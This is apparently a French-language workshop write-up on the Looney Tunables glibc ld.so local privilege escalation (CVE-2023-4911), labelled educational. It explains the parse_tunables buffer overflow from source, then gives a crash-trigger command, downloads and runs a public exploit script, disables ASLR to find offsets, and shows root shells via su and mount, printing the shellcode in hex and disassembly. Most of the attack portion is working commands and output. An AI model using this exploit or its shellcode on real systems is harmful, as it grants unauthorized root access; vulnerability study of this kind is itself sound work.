Atelier Looney Tunables sur l'élévation des privilèges locaux (CVE-2023-4911) (à des fins éducatives uniquement)
En informatique, un éditeur de liens dynamique est la partie d'un système d'exploitation qui charge et relie les bibliothèques partagées nécessaires à un exécutable lors de son exécution, en copiant le contenu des bibliothèques du stockage persistant vers la RAM, en remplissant les tables de sauts et en déplaçant les pointeurs.
Par exemple, nous avons un programme qui utilise la bibliothèque openssl pour calculer le hachage md5 :
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so analyse le binaire et essaie de trouver la bibliothèque liée à <openssl/md5.h>
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Comme nous pouvons le voir, il trouve la bibliothèque de chiffrement nécessaire dans /lib/x86_64-linux-gnu/libcrypto.so.3 Lors du démarrage du programme, il place le code de cette bibliothèque dans la RAM du processus et lie toutes les références à cette bibliothèque.
Lorsqu'un programme est lancé, ce chargeur examine d'abord le programme pour déterminer les bibliothèques partagées dont il a besoin. Il recherche ensuite ces bibliothèques, les charge en mémoire et les relie à l'exécutable au moment de l'exécution. Au cours du processus, le chargeur dynamique résout les références de symboles, telles que les références de fonctions et de variables, garantissant que tout est défini pour l'exécution du programme. Compte tenu de son rôle, le chargeur dynamique est très sensible à la sécurité, car son code s'exécute avec des privilèges élevés lorsqu'un utilisateur local lance un programme set-user-ID ou set-group-ID.
Les paramètres réglables sont une fonctionnalité de la bibliothèque GNU C qui permet aux auteurs d'applications et aux responsables de distribution de modifier le comportement de la bibliothèque d'exécution pour l'adapter à leur charge de travail. Ceux-ci sont implémentés sous la forme d’un ensemble de commutateurs pouvant être modifiés de différentes manières. La méthode par défaut actuelle pour ce faire consiste à utiliser la variable d'environnement GLIBC_TUNABLES en la définissant sur une chaîne de paires nom=valeur séparées par des deux-points. Par exemple, l'exemple suivant active la vérification malloc et définit le seuil de suppression de malloc sur 128 octets :
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
Passer --list-tunables au chargeur dynamique pour imprimer tous les paramètres avec des valeurs minimales et maximales :
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
Au tout début de son exécution, ld.so appelle __tunables_init() pour parcourir l'environnement (à la ligne 279), en recherchant les variables GLIBC_TUNABLES (à la ligne 282) ; pour chaque GLIBC_TUNABLES qu'il trouve, il fait une copie de cette variable (à la ligne 284), appelle parse_tunables() pour traiter et nettoyer cette copie (à la ligne 286), et enfin remplace le GLIBC_TUNABLES original par cette copie nettoyée (à la ligne 288). ) :
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } Le premier argument de parse_tunables() (tunestr) pointe vers la copie qui sera bientôt nettoyée de GLIBC_TUNABLES, tandis que le deuxième argument (valstring) pointe vers la variable d'environnement GLIBC_TUNABLES d'origine (dans la pile). Pour nettoyer la copie de GLIBC_TUNABLES (qui devrait être de la forme "tunable1= aaa:tunable2=bbb" ), parse_tunables() supprime tous les paramètres dangereux (les paramètres SXID_ERASE) de tunestr, mais conserve les paramètres SXID_IGNORE et NONE (aux lignes 221- 235) :
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }Malheureusement, si une variable d'environnement GLIBC_TUNABLES est de la forme "tunable1=tunable2=AAA" (où "tunable1" et "tunable2" sont des réglages SXID_IGNORE, par exemple "glibc.malloc.mxfast"), alors :
lors de la première itération de "while (true)" dans parse_tunables(), l'intégralité de "tunable1=tunable2=AAA" est copiée sur place dans tunestr (aux lignes 221-235), remplissant ainsi tunestr ;
aux lignes 247-248, p n'est pas incrémenté (p[len] est ' ' car aucun ':' n'a été trouvé aux lignes 203-204) et donc p pointe toujours vers la valeur de "tunable1", c'est-à-dire "tunable2= AAA" ;
lors de la deuxième itération du "while (true)" dans parse_tunables(), "tunable2=AAA" est ajouté (comme s'il s'agissait d'un deuxième accordable) à tunestr (qui est déjà plein), débordant ainsi tunestr.
Commande:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)Charge utile:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Longueur -> 8236 octets
Cette vulnérabilité est un simple débordement de tampon, mais que devons-nous écraser pour obtenir l'exécution de code arbitraire ? Le tampon que nous débordons est alloué à la ligne 284 par tunables_strdup(), une ré-implémentation de strdup() qui utilise __minimal_malloc() de ld.so au lieu de malloc() de la glibc (en effet, la malloc() de la glibc n'a pas encore été initialisée ). Cette implémentation de __minimal_malloc() appelle simplement mmap() pour obtenir plus de mémoire du noyau.
Jetons un coup d'œil à ce code :
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so alloue de la mémoire pour cette structure link_map avec calloc(), et n'initialise donc pas explicitement plusieurs de ses membres à zéro ; c'est une optimisation raisonnable. Comme mentionné précédemment, calloc() n'est pas ici le calloc() de la glibc mais le __minimal_calloc() de ld.so, qui appelle __minimal_malloc() sans initialiser explicitement la mémoire qu'il renvoie à zéro ; il s'agit également d'une optimisation raisonnable, car à toutes fins utiles, __minimal_malloc() renvoie toujours un morceau propre de mémoire mmap(), dont l'initialisation à zéro est garantie par le noyau.
Malheureusement, le débordement de tampon dans parse_tunables() nous permet d'écraser la mémoire propre mmap() avec des octets non nuls, écrasant ainsi les pointeurs de la structure link_map qui sera bientôt allouée par des valeurs non NULL. Cela nous permet de casser complètement la logique de ld.so, qui suppose que ces pointeurs sont NULL.
Nous avons réalisé que beaucoup plus de pointeurs dans la structure link_map ne sont pas explicitement initialisés à NULL ; en particulier, les pointeurs vers les structures Elf64_Dyn dans le tableau de pointeurs l_info[]. Parmi ceux-ci,
l_info[DT_RPATH], le "Chemin de recherche de la bibliothèque", s'est immédiatement démarqué : si nous écrasons ce pointeur et contrôlons où et vers quoi il pointe, alors nous pouvons forcer ld.so à faire confiance à un répertoire que nous possédons, et donc pour charger notre propre bibliothèque libc.so.6 ou LD_PRELOAD à partir de ce répertoire et exécuter du code arbitraire (en tant que root, si nous exécutons ld.so via un programme SUID-root).
Où le
l_info[DT_RPATH]écrasé doit-il pointer ? La réponse simple à cette question est : la pile ; plus précisément, nos chaînes d'environnement dans la pile. Sous Linux, la pile est randomisée dans une région de 16 Go, et nos chaînes d'environnement peuvent occuper jusqu'à 6 Mo (_STK_LIM / 4 * 3, dans le bprm_stack_limits() du noyau) : après 16 Go / 6 Mo = 2730 essais, nous avons de bonnes chances de deviner l'adresse de nos chaînes d'environnement (dans notre exploit, nous écrasons toujoursl_info[DT_RPATH]par 0x7ffdfffff010, le centre de la région de pile aléatoire). Dans nos tests, cette force brute prend environ 30 secondes sur Debian et environ 5 minutes sur Ubuntu et Fedora (en raison de leurs gestionnaires de crash automatiques, Apport et ABRT ; nous n'avons pas essayé de contourner ce ralentissement).
Vers quoi le l_info[DT_RPATH] écrasé doit-il pointer ? Dans notre exploit, nous remplissons simplement nos 6 Mo de chaînes d'environnement avec 0xfffffffffffffff8 (-8), car à un décalage de -8B en dessous de la table de chaînes de la plupart des programmes racine SUID, la chaîne "x08" apparaît : cela force ld.so faire confiance à un répertoire relatif nommé "x08" (dans notre répertoire de travail actuel), et nous permet donc de charger et d'exécuter notre propre bibliothèque libc.so.6 ou LD_PRELOAD à partir de ce répertoire, comme racine.
Schème:
J'utilise mon ancien instantané Kali Linux pour tester PoC. Vérifions s'il est vulnérable :
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/sNous avons SIGSEGV, notre système est donc vulnérable à ce CVE LPE !
Téléchargeons le script PoC et testons-le :
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Donc, notre identifiant de build ld.so n'est pas dans la liste des cibles, corrigeons-le ! Désactivez l'ASLR :
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "Revérifier:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Ainsi, notre script POC trouve un décalage utile, ajoutons notre identifiant de build ld.so et notre décalage au script : Retour ASLR :
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "Essayons à nouveau le script PoC :
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
Ça marche!
Il fonctionne également avec d'autres fichiers SUID :
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
Au début du script PoC, nous avons le dictionnaire ARCH avec certaines architectures de processeur (je n'ai laissé que x86_64 pendant que je l'utilise). Dans ce dictionnaire, nous avons
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}Démontage du shellcode
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscallDésassembler le code de sortie
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscallEnsuite, nous avons un dictionnaire avec des cibles (ld.so build id) et leurs décalages de dépassement de tampon.
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}Ensuite, de nombreuses fonctions sont nommées pour ce qu'elles font et la plupart peuvent être remplacées par des méthodes de la bibliothèque pwntools. Je ne vois donc pas l'intérêt d'en discuter en détail, sauf pour certains d'entre eux
